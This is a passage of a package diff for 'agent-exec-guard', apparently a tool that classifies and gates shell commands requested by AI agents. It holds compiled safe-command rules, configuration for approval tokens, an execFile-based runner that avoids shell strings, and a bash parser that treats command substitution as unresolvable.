+ const ALL_SAFE_CHECKS = [isSafeGit, isSafePackageInstall, isSafeReadonlyFs];
109
+ export function evaluateSafeRules(cmd) {
110
+ for (const check of ALL_SAFE_CHECKS) {
111
+ const match = check(cmd);
112
+ if (match)
113
+ return match;
114
+ }
115
+ return null;
116
+ }
117
+ //# sourceMappingURL=safe.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"safe.js","sourceRoot":"","sources":["../../../src/classify/rules/safe.ts"],"names":[],"mappings":"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"}
package/dist/config.js ADDED
@@ -0,0 +1,31 @@
1
+ import { randomBytes } from "node:crypto";
2
+ import path from "node:path";
3
+ function intEnv(name, fallback) {
4
+ const v = process.env[name];
5
+ if (v === undefined)
6
+ return fallback;
7
+ const n = Number(v);
8
+ return Number.isFinite(n) ? n : fallback;
9
+ }
10
+ // SERVER_SECRET must never be logged, returned in a tool response, or
11
+ // passed through execFile env to any subprocess. It lives only in this
12
+ // module's closure (see security/secret.ts for the enforced accessor).
13
+ const SERVER_SECRET = process.env.AGENT_EXEC_GUARD_SECRET ?? randomBytes(32).toString("hex");
14
+ if (!process.env.AGENT_EXEC_GUARD_SECRET) {
15
+ process.stderr.write("[agent-exec-guard] WARNING: AGENT_EXEC_GUARD_SECRET not set -- generated an ephemeral secret. " +
16
+ "Approval tokens will not survive a server restart. Set AGENT_EXEC_GUARD_SECRET for production use.\n");
17
+ }
18
+ export const config = {
19
+ serverSecret: SERVER_SECRET,
20
+ stateDir: path.resolve(process.env.AGENT_EXEC_GUARD_STATE_DIR ?? path.join(process.cwd(), ".agent-exec-guard")),
21
+ approvalTtlMs: intEnv("AGENT_EXEC_GUARD_APPROVAL_TTL_MS", 5 * 60 * 1000),
22
+ execTimeoutMs: intEnv("AGENT_EXEC_GUARD_EXEC_TIMEOUT_MS", 2 * 60 * 1000),
23
+ execMaxBufferBytes: intEnv("AGENT_EXEC_GUARD_EXEC_MAX_BUFFER", 10 * 1024 * 1024),
24
+ /** When true, exec_guard_request_approval prompts on the server's own
25
+ * terminal (stdin/stdout) via readline. This is the only approval
26
+ * channel in v0.1 (Slack integration is v0.3, out of scope here). Set to
27
+ * false in non-interactive/test environments to auto-deny instead of
28
+ * hanging on a prompt that will never be answered. */
29
+ cliApprovalEnabled: process.env.AGENT_EXEC_GUARD_CLI_APPROVAL !== "0",
30
+ };
31
+ //# sourceMappingURL=config.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"config.js","sourceRoot":"","sources":["../src/config.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,aAAa,CAAC;AAC1C,OAAO,IAAI,MAAM,WAAW,CAAC;AAE7B,SAAS,MAAM,CAAC,IAAY,EAAE,QAAgB;IAC5C,MAAM,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;IAC5B,IAAI,CAAC,KAAK,SAAS;QAAE,OAAO,QAAQ,CAAC;IACrC,MAAM,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;IACpB,OAAO,MAAM,CAAC,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC;AAC3C,CAAC;AAED,sEAAsE;AACtE,uEAAuE;AACvE,uEAAuE;AACvE,MAAM,aAAa,GAAG,OAAO,CAAC,GAAG,CAAC,uBAAuB,IAAI,WAAW,CAAC,EAAE,CAAC,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC;AAC7F,IAAI,CAAC,OAAO,CAAC,GAAG,CAAC,uBAAuB,EAAE,CAAC;IACzC,OAAO,CAAC,MAAM,CAAC,KAAK,CAClB,gGAAgG;QAC9F,sGAAsG,CACzG,CAAC;AACJ,CAAC;AAED,MAAM,CAAC,MAAM,MAAM,GAAG;IACpB,YAAY,EAAE,aAAa;IAC3B,QAAQ,EAAE,IAAI,CAAC,OAAO,CAAC,OAAO,CAAC,GAAG,CAAC,0BAA0B,IAAI,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,GAAG,EAAE,EAAE,mBAAmB,CAAC,CAAC;IAE/G,aAAa,EAAE,MAAM,CAAC,kCAAkC,EAAE,CAAC,GAAG,EAAE,GAAG,IAAI,CAAC;IAExE,aAAa,EAAE,MAAM,CAAC,kCAAkC,EAAE,CAAC,GAAG,EAAE,GAAG,IAAI,CAAC;IACxE,kBAAkB,EAAE,MAAM,CAAC,kCAAkC,EAAE,EAAE,GAAG,IAAI,GAAG,IAAI,CAAC;IAEhF;;;;0DAIsD;IACtD,kBAAkB,EAAE,OAAO,CAAC,GAAG,CAAC,6BAA6B,KAAK,GAAG;CACtE,CAAC"}
@@ -0,0 +1,69 @@
1
+ import { execFile } from "node:child_process";
2
+ import { config } from "../config.js";
3
+ // Only a small, explicit set of environment variables is ever forwarded to
4
+ // a subprocess -- never the server's own full environment (which may
5
+ // contain AGENT_EXEC_GUARD_SECRET or other sensitive material), and never
6
+ // anything from the MCP tool call's input.
7
+ const FORWARDED_ENV_VARS = ["PATH", "HOME", "USER", "LANG", "LC_ALL", "TMPDIR", "SHELL"];
8
+ function buildEnv() {
9
+ const env = {};
10
+ for (const key of FORWARDED_ENV_VARS) {
11
+ if (process.env[key] !== undefined)
12
+ env[key] = process.env[key];
13
+ }
14
+ return env;
15
+ }
16
+ /** Runs exactly one already-classified-SAFE (or freshly re-verified via
17
+ * approval token) simple command via `execFile` with an argv array --
18
+ * NEVER a shell string. Only the single last stage of a pipeline is
19
+ * actually invoked directly for now: multi-stage pipelines are executed by
20
+ * re-materializing each stage as its own execFile call connected by pipes,
21
+ * never by handing the whole line to `/bin/sh -c`. */
22
+ async function execOne(cmd, cwd, stdinData) {
23
+ const argv = cmd.argv.map((a) => a.text);
24
+ const [bin, ...args] = argv;
25
+ return new Promise((resolve) => {
26
+ const child = execFile(bin, args, { cwd, env: buildEnv(), timeout: config.execTimeoutMs, maxBuffer: config.execMaxBufferBytes, windowsHide: true }, (error, stdout, stderr) => {
27
+ const errWithMeta = error;
28
+ resolve({
29
+ stdout: stdout?.toString() ?? "",
30
+ stderr: stderr?.toString() ?? "",
31
+ exitCode: errWithMeta && typeof errWithMeta.code === "number" ? errWithMeta.code : child.exitCode,
32
+ timedOut: Boolean(errWithMeta?.killed),
33
+ truncated: false,
34
+ });
35
+ });
36
+ if (stdinData !== undefined && child.stdin) {
37
+ child.stdin.write(stdinData);
38
+ child.stdin.end();
39
+ }
40
+ else if (child.stdin) {
41
+ child.stdin.end();
42
+ }
43
+ });
44
+ }
45
+ /**
46
+ * Executes a fully-parsed, already-approved command. Multi-stage pipelines
47
+ * are run stage-by-stage, feeding each stage's stdout to the next stage's
48
+ * stdin, so the whole line never passes through a shell interpreter. This
49
+ * function does NOT classify or re-classify anything -- callers
50
+ * (tools/run.ts) must have already established SAFE or a verified approval
51
+ * token before calling this.
52
+ */
53
+ export async function executeParsedCommand(parsed, cwd) {
54
+ let stdinData;
55
+ let last = { stdout: "", stderr: "", exitCode: 0, timedOut: false, truncated: false };
56
+ for (let i = 0; i < parsed.stages.length; i++) {
57
+ const stage = parsed.stages[i];
58
+ last = await execOne(stage, cwd, stdinData);
59
+ stdinData = last.stdout;
60
+ if (last.timedOut || (last.exitCode !== 0 && last.exitCode !== null)) {
61
+ // Stop the chain on the first failing/timed-out stage, mirroring
62
+ // shell `set -o pipefail`-ish behavior closely enough for a guard
63
+ // tool (we are not trying to be a full shell).
64
+ break;
65
+ }
66
+ }
67
+ return last;
68
+ }
69
+ //# sourceMappingURL=run.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"run.js","sourceRoot":"","sources":["../../src/exec/run.ts"],"names":[],"mappings":"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"}
package/dist/index.js ADDED
@@ -0,0 +1,6 @@
1
+ import { main } from "./server.js";
2
+ main().catch((err) => {
3
+ process.stderr.write(`[agent-exec-guard] fatal: ${err instanceof Error ? err.stack : String(err)}\n`);
4
+ process.exit(1);
5
+ });
6
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,aAAa,CAAC;AAEnC,IAAI,EAAE,CAAC,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE;IACnB,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,6BAA6B,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;IACtG,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;AAClB,CAAC,CAAC,CAAC"}
Binary file
@@ -0,0 +1 @@
1
+ {"version":3,"file":"normalize.js","sourceRoot":"","sources":["../../src/parser/normalize.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;GAYG;AAcH,yEAAyE;AACzE,0EAA0E;AAC1E,oBAAoB;AACpB,MAAM,eAAe,GACnB,iBAAiB,CAAC;AAEpB,wEAAwE;AACxE,0BAA0B;AAC1B,MAAM,aAAa,GAAG,SAAS,CAAC;AAEhC,0EAA0E;AAC1E,sEAAsE;AACtE,MAAM,eAAe,GAAG,cAAc,CAAC;AAEvC,0EAA0E;AAC1E,2EAA2E;AAC3E,0EAA0E;AAC1E,0EAA0E;AAC1E,yBAAyB;AACzB,MAAM,uBAAuB,GAC3B,iBAAiB,CAAC;AAEpB,MAAM,UAAU,gBAAgB,CAAC,GAAW;IAC1C,IAAI,OAAO,GAAG,KAAK,QAAQ,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QAChD,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,eAAe,EAAE,CAAC;IAChD,CAAC;IAED,IAAI,eAAe,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,kCAAkC,EAAE,CAAC;IACnE,CAAC;IACD,IAAI,aAAa,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QAC5B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,gCAAgC,EAAE,CAAC;IACjE,CAAC;IACD,IAAI,eAAe,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QAC9B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,4BAA4B,EAAE,CAAC;IAC7D,CAAC;IACD,IAAI,uBAAuB,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC;QACtC,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,0CAA0C,EAAE,CAAC;IAC3E,CAAC;IAED,yEAAyE;IACzE,0EAA0E;IAC1E,yEAAyE;IACzE,wCAAwC;IACxC,MAAM,UAAU,GAAG,GAAG,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;IAEzC,0EAA0E;IAC1E,wDAAwD;IACxD,IACE,eAAe,CAAC,IAAI,CAAC,UAAU,CAAC;QAChC,aAAa,CAAC,IAAI,CAAC,UAAU,CAAC;QAC9B,eAAe,CAAC,IAAI,CAAC,UAAU,CAAC;QAChC,uBAAuB,CAAC,IAAI,CAAC,UAAU,CAAC,EACxC,CAAC;QACD,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,MAAM,EAAE,sDAAsD,EAAE,CAAC;IACvF,CAAC;IAED,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,UAAU,EAAE,CAAC;AAClC,CAAC"}
@@ -0,0 +1,184 @@
1
+ import pkg from "mvdan-sh";
2
+ const { syntax } = pkg;
3
+ const parser = syntax.NewParser();
4
+ // syntax.BinCmdOperator numeric values, taken from mvdan.cc/sh/v3/syntax
5
+ // (there is no exported symbolic constant in the JS binding, only the raw
6
+ // int, so we pin the values here with a regression test in
7
+ // test/unit/parser.test.ts asserting each maps to the operator we expect).
8
+ const BIN_OP = {
9
+ 10: "&&",
10
+ 11: "||",
11
+ 12: "|",
12
+ 13: "|&",
13
+ };
14
+ // syntax.RedirOperator numeric values -> symbolic form, for audit/checksum
15
+ // display purposes only (classify/ reasons over `op`, never re-parses it).
16
+ const REDIR_OP = {
17
+ 54: ">",
18
+ 55: ">>",
19
+ 56: "<",
20
+ 57: "<>",
21
+ 58: ">|",
22
+ 59: ">&",
23
+ 60: "<&",
24
+ 61: "<<",
25
+ 62: "<<-",
26
+ 63: "<<<",
27
+ 64: "&>",
28
+ 65: "&>>",
29
+ };
30
+ class Unsupported extends Error {
31
+ }
32
+ function collectWordPart(part, state) {
33
+ if (!part)
34
+ return;
35
+ const t = syntax.NodeType(part);
36
+ switch (t) {
37
+ case "Lit":
38
+ state.text += String(part.Value ?? "");
39
+ return;
40
+ case "SglQuoted":
41
+ state.text += String(part.Value ?? "");
42
+ return;
43
+ case "DblQuoted": {
44
+ const parts = (part.Parts ?? []);
45
+ for (const p of parts)
46
+ collectWordPart(p, state);
47
+ return;
48
+ }
49
+ case "ParamExp": {
50
+ state.hasVariableExpansion = true;
51
+ const param = part.Param;
52
+ state.text += `\${${param?.Value ?? "?"}}`;
53
+ return;
54
+ }
55
+ case "CmdSubst":
56
+ // $(...) or `...` -- the exact CVE-2026-22708 shape when embedded in
57
+ // an argument to an otherwise-safe command. Never resolvable
58
+ // statically -> never a plain literal.
59
+ state.hasSubstitution = true;
60
+ state.text += "$(...)";
61
+ return;
62
+ case "ProcSubst":
63
+ state.hasSubstitution = true;
64
+ state.text += "<(...)";
65
+ return;
66
+ case "ArithmExp":
67
+ // Arithmetic expansion can itself contain command substitution.
68
+ state.hasSubstitution = true;
69
+ state.text += "$((...))";
70
+ return;
71
+ case "ExtGlob":
72
+ state.hasVariableExpansion = true;
73
+ state.text += String(part.Pattern?.Value ?? "*");
74
+ return;
75
+ default:
76
+ // Any word-part kind we don't explicitly model (e.g. exotic bash
77
+ // extensions) is treated as unresolvable, never as a safe literal.
78
+ state.hasSubstitution = true;
79
+ state.text += "<?>";
80
+ }
81
+ }
82
+ function wordToArgToken(word) {
83
+ const parts = (word?.Parts ?? []);
84
+ const state = { text: "", hasSubstitution: false, hasVariableExpansion: false };
85
+ for (const p of parts)
86
+ collectWordPart(p, state);
87
+ const quoted = parts.length > 0 && parts.every((p) => {
88
+ const t = syntax.NodeType(p);
89
+ return t === "SglQuoted" || t === "DblQuoted";
90
+ });
91
+ return { text: state.text, hasSubstitution: state.hasSubstitution, hasVariableExpansion: state.hasVariableExpansion, quoted };
92
+ }
93
+ function stmtRedirects(stmt) {
94
+ const redirs = (stmt.Redirs ?? []);
95
+ return redirs.map((r) => {
96
+ const opNum = Number(r.Op);
97
+ const op = REDIR_OP[opNum] ?? `unknown(${opNum})`;
98
+ const target = wordToArgToken(r.Word ?? null);
99
+ return { op, target };
100
+ });
101
+ }
102
+ /** Descends one `Stmt` node. Only CallExpr (a plain simple command) and
103
+ * BinaryCmd (a chain of two stmts joined by &&, ||, |, |&) are understood.
104
+ * Anything else (subshells, blocks, if/while/for/case, function decls,
105
+ * arithmetic commands, here-docs used as control flow, etc.) is a construct
106
+ * this v0.1 classifier does not model -- per the fail-closed rule in
107
+ * docs/security-model.md, that must surface as a parse failure, not a
108
+ * silent downgrade. */
109
